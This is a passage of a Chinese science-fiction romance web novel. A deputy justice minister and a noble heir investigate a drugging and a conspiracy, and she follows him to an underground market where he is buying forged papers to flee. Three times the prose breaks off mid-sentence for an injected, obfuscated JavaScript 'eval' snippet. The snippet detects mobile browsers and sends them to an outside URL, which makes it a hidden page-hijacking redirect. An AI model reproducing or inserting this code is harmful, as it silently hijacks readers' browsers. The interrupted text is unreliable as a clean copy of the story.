宁以歌看了一眼光脑,快到午饭时间了,她昨日就和百里寻约好在今天午休时见一面。这一次百里寻很听话,没有任何异议,他也终于意识到一味地回避只是徒劳,该解决的问题总该要解决。 “以歌,最近调查组有没有什么消息?”风凌的问题叫回了宁以歌的思绪。 宁以歌抬起头微笑:“调查组那边已经在戴维家翻到了通敌叛国的罪证,L85的图纸确实是从他那里泄露给辰冕帝国的,只是可惜戴维已经死了,不然顺着他抓下去没准也能找到芯片是如何被掉包的前因后果。” “所以关于L85芯片的问题还没有解决?” 宁以歌摇摇头:“很遗憾,还没有,目前各位生产线负责人暂时没调查出问题。” 风凌叹了口气:“以歌,我还是想劝你,以后行事不要再如此大胆,虽然你在那个时候做出的判断是对的,但你毕竟是为其他人做担保,这些人本身和你都不熟悉,他们都是不可控的。可控的风险才是担保的前提。” “就这一次,老师。”宁以歌有点不好意思,“就这一次,我想大胆一回,舍不得孩子套不到狼。” 副部长艾罗笑着为宁以歌说话:“以歌要是胆子不大,现在也不会站在这里。这样才是她,不是吗?” 当年因为性侵案名声大噪的宁以歌正是在风凌的赏识下,才从地方调回了首星,并且此后一直跟在风凌身边,风凌也给予她与执政官见面的机会,得到执政官的认可,宁以歌才能成为现在的司法部副部长。 宁以歌也懂得感恩风凌为她所做的一切,在首星的两年来她一直兢兢业业地跟在恩师风凌的身后,这次中断庭审的举动是她在这两年中做出的最出格的事情。 风凌最终还是没再继续说下去,只是叮嘱宁以歌树大招风,她的精神力水平不佳,自保能力差,更应该注意这一点。宁以歌认真点头,表示自己会记下的。 在食堂吃完饭,宁以歌马不停蹄地前往与百里寻约定的地点。 他们见面的地点是宁以歌提出的,虽然百里寻曾要求听他的,但宁以歌还是难以信任他,百里寻挣扎片刻只能妥协。 这是一家宁以歌常来的小饭店,饭店老板是宁以歌信得过的熟人,周围也是治安到位的地带,她才能够放心在这里与百里寻会面。 宁以歌开了间小包厢,在里面一边喝茶一边等待百里寻。 她注意到,百里寻在到达时展开了精神领域,旁人难以察觉的控制金属的异能伴随着精神力笼罩住整个小饭店,这里成为了他一人的金属控制场。 宁以歌调查过百里寻的异能情况,S级精神力觉醒的元素类异能能精准感知并调动精神领域内的每一处可掌控的元素。在合适的环境中,S级元素类异能者就是杀伤力极高的人形武器。 宁以歌不动声色地放下茶杯,想看看他搞什么鬼,难不成要在这里杀了自己? 百里寻的精神力却很快收了回去,他走过来拉开宁以歌对面的椅子,正要坐下时,他的精神体阿金又迫不及待地窜了出来,还特地缩小了身形扑进了娇小的未未的怀里。 已经对此种情景麻木到毫无反应的百里寻当作没看见一般坐下,眼睛却瞟向宁以歌的左腿:“你的腿好了?” 宁以歌的左腿曾在事故中粉碎性骨折,即使后来侥幸保住也在里面留下了整整七枚钢钉,她的精神体也因此受到影响而断角。这一切都发生在她十七岁入读墨菲学院之前。 现在她左腿里的钢钉却全都不见了。 宁以歌没有着急回答,反问他:“你刚刚在干什么?探测金属?” “我总得看看周围有没有什么可疑装置吧?”百里寻说,“当然并非怀疑你,只是现在监控技术发达,出门在外,尤其是到了陌生地点总要留个心眼。” 监控设备几乎都含有金属,但凡有金属元件存在,百里寻都能感应到。 “你害怕被人发现?” “我怕有人监视我。” 宁以歌皱着眉:“谁会监视你?安全部的人已经不再盯着你了,还有谁能监视你?你家里人啊?” 百里寻明显一顿,仿佛被说中了似的心虚地挪开视线:“你怎么不回答我的问题?” 宁以歌喝了口茶,回答道:“嗯,有联邦政府为职工提供的福利医疗服务,我的腿已经基本痊愈了。” “你的精神体怎么还没恢复?” “不知道,也许精神体的伤很难再治愈吧……”宁以歌说,“百里寻,你也别这样假模假样地跟我寒暄了,时间紧迫,我们谈正事。” 百里寻沉闷地哼了声,摆出洗耳恭听的模样。 “那天,你去参加同学聚会,除了聚会上提供的酒,有没有喝别的?” “没有。” “我调查到,你们的同学聚会带了一名调酒师,这名调酒师是谁带来的?你认识他吗?” “不认识,是我同学带的。”百里寻突然意识到一个他不理解的问题,“说实在的,那晚就是个不幸的巧合,你也没必要这么关心谁给我下的药吧?就算要查,也是我自己去查,我比你损失更大都不着急,你这么着急帮我找嫌疑人干什么?” 宁以歌惊讶地看着他:“你到现在都认为只是你喝的酒有问题?” 百里寻的脸上出现了波动:“什么意思?不止酒有问题?” “百里寻,你如果只是喝了酒反而不会产生任何问题,不然你在聚会上就会发作。遭殃的只会是聚会上的人,而不是我。”宁以歌缓缓回答,“但你的酒中含有普罗草,我说的没错吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203766|197319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 百里寻确实青睐普罗草作为调酒香料,但这只是他喜好的诸多香料之一罢了,那一天的聚会,他也只是让调酒师自由调配,端给他的酒中含有普罗草时,他还有些惊喜。 “而我的房间里有海月花香氛,海月花和普罗草会在人体中混合产生作用,才导致了你的失控。”宁以歌说,“那一层楼只有我的房间有海月花香氛,所以这一切很有可能并非意外,而是阴谋。针对我们俩的阴谋。” 宁以歌观察着对面人的神色,满意地看见他露出难以掩饰的震惊表情:“根据你当晚复述给我听的你如何翻到我房间窗外的过程,很显然,异种是被人引进来的,安全通道的门也是被人关上的,有人在引导你进入我的房间。” “你记得真清楚。” “当然,我能够成为墨菲学院破例招收的C级精神体拥有者,极佳的记忆力是重要的原因之一。” “所以,这些人为什么要同时对我们下手?” “我猜测,这是一个一石二鸟的计划。如果当晚你真的如对方所愿强了我,在你的精神力压迫下,我恐怕没有什么好下场。如果我从你的手中侥幸逃脱,也必定会对你产生嫌恶。别忘了,不久之前,我才在法庭上救了你,如果你胆敢骚扰乃至侵犯我,我断然不会再帮你,甚至会起诉你,就像当年的案子一样,不把你送进大牢决不罢休。这个计划预想的结果里,我的身体和心理会遭受创伤,而你保底也是蹲局子。” 百里寻沉默了会:“这么说,如今的结果反而是最好的?” “如果对方在事后一直暗中观察你我的反应,一定对我们还能相安无事的现状百思不得其解。” 宁以歌顿了顿:“我的仇家很多,你的仇家也很多吗?尤其是……圣魂教的仇家。” 百里寻跟听见笑话般笑出声:“我和圣魂教能有什么仇?要说仇家,也许和同行结仇比较多,但他们也不敢真的对百里家动手。” “你们家信圣魂教?” 百里寻敛起笑容,警惕起来:“没有,但我们也没招惹过圣魂教的人。” “哦,我是在思考,这个一石二鸟的计划,似乎重心并不在于我这只鸟,而是你。我只是对方顺手凌辱的对象罢了。”宁以歌困惑道,“我能大概猜测出,对方应当是圣魂教极端教徒,他们会对我下手不奇怪,但他们为什么还要对你下手?并且为了对付你制定了如此繁琐缜密的计划。如果只是要害我,大可以像过去那样直接暗杀,但他们却选择了下药,这反倒表明这场计划在我们抵达第二星之前就开始了。” “他们想害我?”百里寻的脸沉了下来,“这难道和先前的那次军火走私案有关?” 宁以歌表示赞赏:“你终于想到了,对方针对你的计划极有可能从军火走私案就开始了。只是他们没意料到,本该成为完美替罪羊的你洗清了嫌疑,好端端地走出了法庭。所以他们才再次开展新计划,要借我之手再把你扳倒。” “百里寻,在这种情况下你必须和我合作,这才是你的明智之举。” 百里寻思考片刻,他终于明白了宁以歌的目的:“所以,其实你并不是真心想帮我,归根到底只是想通过我查清这起军火走私案提升自己的威望?” “别忘了,你是我的担保对象之一。”宁以歌露出一个和善的笑容,“我们各取所需不好吗?” 12. 黑市 百里寻不想就这样不明不白地被送进监狱,而宁以歌想自己借军火走私案提升自己在政府中的威望,两个人心思不同,但目标是一致的。他们都想找到幕后真凶。 “好吧。我很好奇一点,你不是很讨厌我吗?怎么就能这样不计前嫌愿意与我合作?” “我向来对事不对人,况且,敌人的敌人就是朋友,不是吗?在这种关键时刻,我不会因为过去的嫌隙而分不清轻重缓急。”宁以歌从容回答,“你也没有再想着与我决斗,想必也明白这一点。” 九年前,才入学没多久的宁以歌收到了一张来自于百里寻的字条,字条上简洁地写着要求宁以歌晚上九点在操场的某棵树下见面,并在纸条末尾威胁宁以歌让她必须赴约。 介于平日里自己与百里寻小团体的各种暗中不对付,宁以歌思来想去终于明白他是想和自己决斗。于是转头她就喊来老师和朋友与自己一起前往,把鬼鬼祟祟在树林里打转的百里寻逮了个正着。 百里寻身上还带着折叠刀具,人赃并获,被老师狠狠训了一通。 听到这句话,百里寻的脸白了又红:“决斗?那是误会……” “误会?” 百里寻咬紧牙关:“算了,那不重要。” “我们继续说回这起下药事件。”宁以歌也不想在无关话题上浪费时间,“明面上我们同时出现在天上楼只是一个巧合,但你我都清楚,这是一个对方凑成的巧合。这个人既清楚我的行程安排与行事作风,还了解你的人脉和心理。利用我参与军火走私案的情况与你的这场同学聚会,让我们这两个目标齐聚舞台,再亮出道具——异种与药物,让这一石二鸟的剧情继续下去。” “可是,这场庭审并没有公之于众,旁听席也基本是政府职员。他们是怎么知道你和这个案子的联系,并且一定会去天上楼?” 宁以歌神色凝重:“所以我怀疑政府中有内鬼。或者……” 百里寻挑眉。 “你们百里家有内鬼。” 百里寻的眉毛沉了下去:“照你这么说可就麻烦多了。” “先说说你们的同学聚会。”宁以歌问,“这场聚会是谁发起的?” 百里寻打开光脑,寻找关于聚会的聊天记录:“发起人叫艾伦,他家是开污水处理厂的,就是你知道的那家最大的污水处理公司。” “聚会地点也是他定的?” “不是,是另一个叫弗兰克的提议在天上楼举办。”百里寻说,“弗兰克是交通部前副部长沃克家的小儿子,他有一个姐姐和一个哥哥,他爹在职期间捞了不少油水,三年前才换届退休。” “调酒师呢?” 百里寻努力回想了一下:“也是弗兰克带来的。” “那就说得通了,这位前部长肯定在政府中依然存在眼线,很有可能就是他那边泄露了我的行踪。” 宁以歌站起身:“很感谢你今天配合我,百里寻。对于这个弗兰克,我回头留意一下,你也不能掉以轻心,对方有什么风吹草动也需要告诉我。” “我会全力配合您的。” 百里寻想跟着站起身却被宁以歌制止:“你等会再出去。” 百里寻目光疑惑。 宁以歌:“我们俩的身份不太方便让外人知晓我们之间的合作。” 百里家族在星舟联邦一直是一个微妙的存在,他们来自于旧帝国的古老家族,却因为倒戈向后来成为首任星舟联邦执政官的叛乱头目而获得从龙之功,也因为和首任执政官存在姻亲关系而深受信任,所以才能在新国家里站稳了脚跟。 而首任执政官卸任之后,后来的四任执政官都对百里家多少存在忌惮,一直在暗中打击和削弱百里家的势力网。 宁以歌会介意与百里家的人扯上关系也是情理之中。 但百里寻还是很不高兴。 他却只能暗暗咬牙:“行。” 宁以歌忽然眯起眼,俯身靠近百里寻,手伸向他的脑后。 她的长发擦过他的肩膀,百里寻心跳仿佛停了一拍,却见宁以歌很快直起身,冲他笑笑:“你后脑沾了片碎叶,我帮你摘了。” 说完,宁以歌叫回未未,快步走出了包厢。 百里寻不知道的是,一走出这家小饭店,宁以歌就变了脸色,她拿出刚刚在百里寻身上得到的碎叶,用阴沉的目光细细打量。 她不会记错,这片碎叶来自于苦啼树。苦啼树没有什么研究价值,又极难存活,树叶却形状特别,风吹过苦啼树,树叶发出的声音宛如啼哭。整个星舟联邦共和国,苦啼树除了实验室中保存的几株,只存在于著名的地下黑市斯芬克斯的地界。 百里寻去黑市做什么? 当天下班后,宁以歌与安迪一同驱车前往斯芬克斯黑市。 斯芬克斯黑市坐落于首星南半球的一处大型人迹罕至的岛屿上,此处山地嶙峋,飞行器难以到达,只能通过小型陆上交通工具进入这片山区。 山地为热带气候,潮湿多雨,含有剧毒的昆虫与爬行动物居多,也是首星上被驱逐出人类居住区的异种盘桓的主要地区。因此政府对此处的管理较为松散,对于黑市的存在也是睁只眼闭只眼。 黑市主要进行地下非法生意,收留了不少流浪或者不愿受联邦管理的能人异士在此处开店经营,为首星以及其他星球的人提供官方禁止的交易。 宁以歌到达海岛后,将飞车停入隐蔽的丛林之中,而后和安迪一齐下车步行。 宁以歌恰好曾经保留过一份关于黑市的地图,即使这处海岛上地形错综复杂,雨林密布,她依然顺利找到了黑市的所在。 斯芬克斯黑市利用岛上山体中的洞穴开凿联通,将数个山体以栈道相连,形成多个据点,即使联邦政府要抓捕其中的人员,他们也能迅速分散逃离。 很谨慎的做法。 宁以歌站在最大的区域入口前,端详着伫立在洞口处的斯芬克斯雕像。 这个古老的传说中的神话怪物摇身一变,成为了当今星舟联邦最大的地下黑市的守护神。 宁以歌和安迪刚走进黑市的洞口,洞口处的藤蔓便悄无声息地垂下,宛如一扇关上的门,隔绝了她们后退的可能。 随着洞口的关闭,昏暗的洞穴中亮起盏盏明灯,灯具的款式全部古老而陈旧,一如空气中弥漫的潮湿的尘土气息,仿佛来自于千年以前的旧文明。 身旁忽然伸出一截机械臂,机械臂自带语音:“请佩戴面具,入市勿言真名。” 宁以歌一愣,但还是接过机械臂手中的面具,和安迪佩戴好。 她们又往前步行了三分钟,面前豁然开朗。巨大的洞窟内一眼望不到边界,一轮人造太阳悬在空中,虽不及联邦顶尖科学家所能造出的那样明亮,但足以照亮这片熙熙攘攘的市场。 宁以歌正想迈入洞窟中,却寒毛炸起,猛然回身,一条紫色的堪比蟒蛇大小的眼镜蛇正盘桓在入口的洞顶上,吐着信子打量着来客。 安迪也在一瞬间做好了防御的准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203767|197319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 备,如果这条眼镜蛇有什么动作,她势必要斩断它的头。 “别怕,我不想伤害你们。”一个戴着火红色怪物面具的男人从阴影处缓步走出,召回了眼镜蛇,那正是他的精神体。 宁以歌收回了正准备拔枪的手,问道:“你是?” “自我介绍一下,我叫阿德里安。”阿德里安未被面具遮住的下半张脸露出友善的笑容,“我是斯芬克斯的老板之一。” 宁以歌皱眉思索,她们的到来居然惊动了黑市的老板,还是他本来就会在这里招待客人? “哦?老板是亲自来为我们指路的吗?” “是也不是。每一个来到斯芬克斯的顾客都会经过我的审查,但我通常不会露面。”阿德里安回答道,“但我注意到你们的精神体组合,这让我心里有一个猜测……” 安迪却依然没有解除防御姿态:“你什么意思?能看出我们的精神体,你是异能者?” “正是。我的精神体眼镜蛇为S级变异体,我的异能是洞察。简而言之,我能看穿每一个来者的精神体种类、精神体等级以及……他们的异能——如果有的话。”阿德里安徐徐说道,“山羊精神体与穿山甲精神体的组合,很少见,很容易就能让人联想到那位宁部长和她的保镖。” 安迪厉声问道:“你们不是要求禁止说真名的吗?” 阿德里安连忙举起手:“别误会,只是我也来自第十二星,算宁部长的老乡,此番只想和我的老乡兼偶像见一面,没有别的意思!” 宁以歌和安迪都愣住了。 宁以歌:“你认真的?” “当然是认真的!”阿德里安上前两步,见宁以歌没有排斥,又继续往前,兴奋地握住了宁以歌的双手,上下摇晃,“宁姐啊!我和你一样,出生于第十二星,后来因为战乱逃到了第十一星,又独自一人几经辗转来到首星经营斯芬克斯。六年前你在十一星打官司的时候我和我的家人都关注着进展,你果然成功了!你真是我们十二星的骄傲!” 阿德里安夸张地在面具上抹了抹不存在的眼泪,继续晃宁以歌的手:“可惜后来你在第十一星政府任职的时候我已经离开了,虽然后来你也来首星当官了,但我以为我行走地下大概也不可能和你有见面的机会,没想到今天却在这里碰见了!要不是不方便,我都想你在我衣服上签名……” “没想到我的同乡中还出了一个S级精神体……” “是呀,我也没想到,我父母一个B级一个C级,我却变异了。但我不想被联邦管着,一直是以黑户身份行走,也没登记。”阿德里安咧着嘴笑道,“宁姐,你们来斯芬克斯是要交易什么?我一定有求必应!” “我来这里不是为了交易,我是想打听一个人。”宁以歌说道,“他应该是你们的顾客,我想知道他交易了什么。” 阿德里安面露难色:“不泄露顾客的信息是我们的原则……” 在宁以歌皱起眉刚想开口继续说什么的时候,只见阿德里安重新展开笑颜:“不过如果是宁姐的要求,我可以满足。那就借一步说话吧。”阿德里安作出邀请的姿势,请宁以歌和安迪深入黑市。 三人往前走时,宁以歌忽然又转了话题,语气微妙:“你说你的异能可以看出所有人的精神体和异能,这可真是一项令人颇为在意的能力。就不怕被人忌惮吗?” 阿德里安脚步一顿,转身郑重地看着宁以歌,仿佛向她许诺:“我自然有分寸。宁姐,对于我所看到一切,我都会守口如瓶。” 13. 跑路 在黑市深处的办公室中,宁以歌向阿德里安出示了百里寻的照片:“你有见过他吗?他的精神体是白虎,S级,异能是控制金属。” “我有印象,但他应该易容过,虽然露出了眼睛,和你照片里面长得不太一样。不过他的精神体和异能我印象深刻,毕竟S级精神体总是使人格外留意。” “那他在你们这里进行了什么交易?” 阿德里安摸着下巴回忆:“他去的是F区,F区压根没几家店铺,去的人无非就是找伊莎办假///证,我带你们去找她。” 阿德里安没有丝毫犹豫地领着二人出门,宁以歌却问道:“你就这么相信我?都不问问我为什么要找这个人的交易记录。” 他只是耸耸肩,轻快地回答:“谁让你是宁以歌,十二星的人民有谁会不信赖你呢!” 宁以歌抿起唇:“可惜十二星已经回不去了……你家人现在都还好吗?” “他们现在都在十一星,好的很呢。”阿德里安回答,不知不觉间他们已经穿过甬道,到达另一处洞窟,这处洞窟明显昏暗了许多,却生长着成片的苦啼树,“这树也不知道怎么回事,在洞里长这么好,洞外的反而都枯死了。你们最好别碰这些树,晃起来发出的声音太瘆人。” 宁以歌取出从百里寻身上获得的苦啼树树叶,默然比对,果真如她所料,百里寻就是在这里沾上碎叶的。 泥土与砖石砌成的石墙分隔出一间又一间店铺,店铺中几乎没有什么客人,只有打扮各异的店主在其中独自忙碌。宁以歌不动声色地观察每一间店铺,这儿似乎是药物售卖区,每家店铺中都堆满了装着奇怪液体的瓶瓶罐罐,不知道都是做什么的。 走到现在,宁以歌发现斯芬克斯黑市中的装饰物大多是不知道从哪里淘来的旧文明物件,笨重却质朴。与对岸高科技的都城形成鲜明对比,这里的人似乎有意与联邦的风格分割开来。 阿德里安敲开其中最大的店铺的门,这家店似乎还没营业,门窗紧闭,等到阿德里安敲了三分钟,才有滑轮滚动的声音靠近门口,店主伊莎将店门打开了一条缝。 宁以歌惊讶地发现,这位店主身体的70%以上已经改造成了机械义体,几乎只剩下一个头颅还是原装的。 刚刚滑轮的声音正是来自于她的脚。 蓝色面具后的伊莎眯起眼睛,仿佛刚睡醒:“二当家?您怎么来了?嗯?这两位是顾客吗?” “她们不是顾客,我们是来找你问一个人。” “哦,进来说吧。”伊莎慢吞吞地挪动合金四肢退回店内,示意他们关上门,仿佛才反应过来瞪大眼睛,“找我打听人?大当家知道吗?我这边的顾客信息可是应当绝对保密的!” “没事,她会同意的。我问你,就今天凌晨,你这儿是不是来了个精神体是白虎的顾客?他来这里都找你交易了哪些内容?” 伊莎点头:“是的,他来办理船票证件。我登记完信息让他三天后来领取船票。” “船票?什么船票?”宁以歌问道,“你们这儿的船票不是正规的吧?” 伊莎看了看阿德里安,阿德里安示意她继续说下去。 “我这里只帮助顾客伪造身份购买船票,身份和船票都是假的。通常我的顾客都是一些要偷渡往别的星系的亡命之徒,或者是正在逃脱政府追捕的逃犯。” “他买的船票是哪一趟?” “稍等。”伊莎的背后伸出两只机械手,快速地拉开身后满墙的抽屉翻找顾客资料。所有顾客的资料都被储存在小容量的硬盘中。她迅速翻出了百里寻的那一份,插入手边并没有通网的老式电脑,屏幕上显示出一大堆数据和几行文字。 “男性,S级精神体白虎,27岁,身高187厘米,体重85千克,无基础疾病,原虹膜信息【附件】,药剂:65T-09,无不良反应。异变虹膜信息【附件】。航线:第五星-第十三星。备注:要求加急购票。” 伊莎:“嗯,他是要去第十三星,而根据交通部门的排表,最近的开往第十三星的航船半个月后启航。他就想乘坐最近的这一趟,让我以最快的速度办理好。” 宁以歌沉默地记下屏幕上显示的信息。 星舟联邦的星际航船检票系统与虹膜识别绑定,这里提到的药剂应当是一种能定向变异虹膜的药物,从而帮助顾客伪造虚假身份信息登上航船。 “去十三星……” 阿德里安在一旁适时解说:“第十三星上异种横生,连政府的人都不敢轻易踏足。去那里的,除了不怕死的异种猎人,就是伺机偷渡的旅客。” 安迪急道:“以歌,他这是要跑路啊!” 跑路?百里寻为什么要跑路?宁以歌百思不得其解,他明明可以留下来,只要等他们揪出真正的叛国者,百里寻的生活就能恢复正常,他为什么会想要抛下自己在星舟联邦的一切,不管不顾地跑路? 宁以歌的脸黑了下来,百里寻是不信任她的能力吗?还是当真胆小至此? 或者说,百里寻内心本就有鬼,并非全然无辜? 不对,百里寻这些天的行为一定有某些细节她忽略了,促使他跑路的,也许不是她能够想到的这些原因。 周围三个人安静地等待着宁以歌的反应。宁以歌深吸一口气,迅速理清了思路:“伊莎,能不能拜托你制作两份同样的船票?一份正常交给他,一份交给我。报酬都好说。” 伊莎又看了眼阿德里安,得到阿德里安许可后才说:“当然没有问题。只是我能冒昧问一句,他是什么人吗?逃犯么?” 宁以歌咬着后槽牙:“对,一个本该关进死牢的逃犯。” 思绪纷飞的宁以歌忽然发现角落里趴着一只奇怪的斑点狗,斑点狗四肢也是机械义体,和伊莎倒是异曲同工。 “这是我的精神体,原点。”伊莎伸手把它从角落叫过来,“人体改造会反映在精神体上,但其实对精神力水平的影响微乎其微。” 宁以歌打量着半机械的斑点狗,觉得很稀奇。因为联邦抵制以机械改造人体,联合在民间颇有名气的企业声称机械改造有损精神力,因此至今社会中的民众仍然会对机械改造有所抵触。 “他们会抵制机械改造根本上是因为骨肉再生的药剂利润更大罢了。对于我们这些底层人来说,机械改造才是最便捷的方法。”伊莎摸摸鼻子,“只是目前机械义体几乎都是金属产品,如果遇到像这位顾客一样的金属控制异能者就会有些棘手。” “但绝大多数人一辈子也未必能碰上一个这样的异能者。” 伊莎点点头,叹息一声:“骨肉再生剂实在太贵了,刚残疾的我根本用不起,只能来这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203768|197319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑市寻找机械师帮我换了这副机械身体。不仅便宜,还好用。” 这样为残疾人安装机械义体的行为在联邦还是禁止状态,不仅是因为圣魂教的残余影响,还因为生产再生药剂的公司仍然盘踞联邦,深刻影响着联邦中的所有人。 “这样的现状应该改变。” 伊莎笑了笑:“我只是个小民众,改变不了什么,我只想着能过好自己的日子就行。即使世事艰难,我们也总能找到属于自己的活法。” 宁以歌安静地注视着名为原点的斑点狗,陷入思考中许久未言。未未也跑了出来,与原点戏作一团。 伊莎答应宁以歌,三天后将船票制作完成,之后由阿德里安亲自送去给她,并且婉拒了报酬。 临别之际,阿德里安问宁以歌:“今天你是代表什么来的斯芬克斯?代表联邦政府来抓逃犯吗?” “不,我只代表我自己,来摸清楚我的担保对象打着什么算盘罢了。”宁以歌回答,“你们放心,今天的事和联邦无关,我也不会向联邦透露半分。” * 从黑市返回家中已是凌晨,宁以歌匆忙小睡一会就要起床上班。 因为回来得太晚,安迪也在宁以歌家留宿。宁以歌的家是一栋小而精致的别墅,晨光洒进后院,照亮了正窝在一起睡觉的未未和安迪的精神体穿山甲小石头。 宁以歌让安迪继续睡,招呼起未未,自己驱车前往政府所在的行政区。 刚把车停进泊车大楼,宁以歌就接到了百里寻的通讯请求。 百里寻三个字在面前跳跃,宁以歌却没着急接通,只是危险地眯起眼。现在她对百里寻的印象又刷新了一遍。 原本她以为这一番折腾后百里寻会配合她的工作,但她错了,这家伙从一开始就没打算信任她。甚至前一天嘴上还说着同意合作,第二天就跑去黑市办偷渡船票计划着彻底逃出联邦。 通讯请求发来的第十秒,宁以歌接通了。 “喂?宁以歌,你在忙吗?半天都没接通讯。”那边的百里寻抱怨了一句,又转而严肃起来,“我有个事要跟你说。” “不忙,你说吧。” “就是昨天我说的那个定聚会地点的弗兰克,我和他还挺熟,本来打算今天去拜访他探探情况的,昨天下午都和他已经约好了,结果就在昨天晚上,他出车祸了!” 宁以歌坐直了身体:“具体情况呢?” “还不清楚,据说伤得不轻,到现在都没醒。我正要赶去医院瞧一瞧。你要来吗?” “等我午休时候去。你有什么重要消息再联系我。” 得知这个坏消息正神经紧绷的宁以歌正想结束这次通话,百里寻却突然又发来视频申请。 宁以歌不耐烦地皱起眉,却还是选择同意视频。百里寻那张醒目的脸出现在她面前的投影中,他睁大琥珀般的眼睛仔细观察着宁以歌,却一句话也不说。 宁以歌:“你搞什么?” “没事,就是确认下你刚刚不接我通讯是不是有什么事,毕竟这边这个人出车祸了,还多半不是意外。” “你还挺担心我?” 百里寻沉默了一下:“你要是出什么事,我肯定脱不了干系,我可不想再被关起来了。” 好像害怕宁以歌回应似的,他说完就急忙结束了视频。 14. 退出 前任交通部副部长家公子出车祸的消息很快传遍了联邦政府,宁以歌得以抓住机会跟着其他同事一同前往医院探望。 他们到达医院的时候,百里寻还没有离开,他坐在重症监护室外的长椅上翘着二郎腿在光脑上和人聊得热火朝天,还是一副吊儿郎当模样,完全看不出他因为此事的发生而产生了什么危机感。 看见宁以歌和同事的到来,百里寻才赶忙站起身,露出毫无破绽的生疏的笑容,仿佛和宁以歌根本不熟:“又见面了,宁部长。” 宁以歌礼貌地点头:“中午好,百里先生。” 此时,前交通部副部长沃克从重症监护室走了出来,面色沉重地对来看望的人们说:“弗兰克还没有完全脱离生命危险,辛苦各位来看他,只是现在还不能让其他人进去……” 说着,他匆匆擦了擦眼角。 宁以歌瞥向百里寻,百里寻用眼神告诉她,他也没见着弗兰克。 宁以歌透过还未合上的病房门的缝隙看见了躺在其中病床上,浑身插满了各种医疗器械的弗兰克,她看清了弗兰克的脸,心头一跳,不着痕迹地收回目光。 沃克还在与来看望的亲朋们寒暄,百里寻先行告别,离开了他们的视线。不久之后,宁以歌也借口上厕所遛出了住院部。百里寻果然在楼下等她。 百里寻冲她挑眉:“弗兰克十有八九是脑死亡,救不回来了。而且据说,这场车祸中他的光脑损坏得极其彻底,应当就是人为制造的事故。” 一条线索就这样断了,宁以歌不甘心,她陷入沉默,苦苦思索下一步怎么办。 百里寻说:“说真的,你不打算跟安全部那些人说说我们俩的遭遇?依我看,能这么及时就对弗兰克下手,说明对方已经彻底盯上咱们了,你最好还是寻求安全部的帮助。” “我不信任他们。” “什么?”百里寻一愣,“可你才帮过那个调查小组,他们也不能信吗?” “百里寻,事到如今你还不明白吗?我们身边一定有人在监视,才能对你我的行踪了如指掌。而我并没有发现周围有出现什么异常,那就说明,是我们熟悉的人中出了问题。”宁以歌说道,“他们可能是我们身边的任何一个人,所以不能够掉以轻心。” 宁以歌深吸了口气:“而且我们之间的联系越少人知道对我们越有利。” “宁以歌,你其实就是害怕我们俩睡了一觉的事说出去丢你的脸吧?” 宁以歌冷笑:“呵,你要是真这么想,随便你。” 见宁以歌生气,百里寻迅速转移了话题企图顺宁以歌的毛:“你刚刚也认出来了吧,这个弗兰克从小到大坏事可没少干过,现在算不算一种罪有应得?” 宁以歌当然认出了弗兰克,她在墨菲学院报道的第一天,就是这个人先挑衅的她,她只是合理回避,对方却不依不饶,直到惊动了不远处的迎新老师,才把宁以歌拉出了小团体的攻击范围。 后来据宁以歌的观察,这位弗兰克虽然精神体差了点,却是百里寻那个小团体中背景最硬的官二代,因此成为了小团体中的二把手,地位仅次于百里寻。当年他们能把学院搅得天翻地覆,弗兰克的功劳与百里寻不相上下。 “罪有应得?这话从你嘴里说出来倒是有些奇怪。” 百里寻仿佛被捏住软肋般忽然噤了声,面色不好地看了一眼宁以歌:“你是不是也希望我和他一块躺在那里?” “我可没这么说。”宁以歌抬手瞟了眼光脑,“我出来够久了,先回去了。” 两日后,弗兰克变成植物人再难苏醒的消息传入宁以歌的耳中,与此同时,她也收到百里寻的短信。 “你今晚有空没?” 宁以歌回复:“有空是有空,你要做什么?” “晚上九点,就你上次约我的那家小饭店吧,我有事跟你说。” * 百里寻开门见山,递出一份文件夹,宁以歌当面翻开,微微一怔。 文件夹中是在第二星天上楼举办的那场同学聚会的所有参会人的资料。里面详细列出了每一个参会人的背景和现状,百里寻几乎把自己能想到的全部写上去了,包括当晚的侍者们以及调酒师的外貌特征,没有照片相配的就索性自己画了个大致的头像。 百里寻的画工意外地好,至少宁以歌自己画不出这个水平。 宁以歌又往后翻了翻,各位同学资料的后面是百里家的大致产业情况,与各种结仇可能。 “我思来想去,还是觉得是百里家的仇人的可能性大一点。这些都是我能提供给你的全部资料了,希望对你后续的调查有所帮助。” 宁以歌感叹:“你对这些同学的情况还真是了如指掌。” 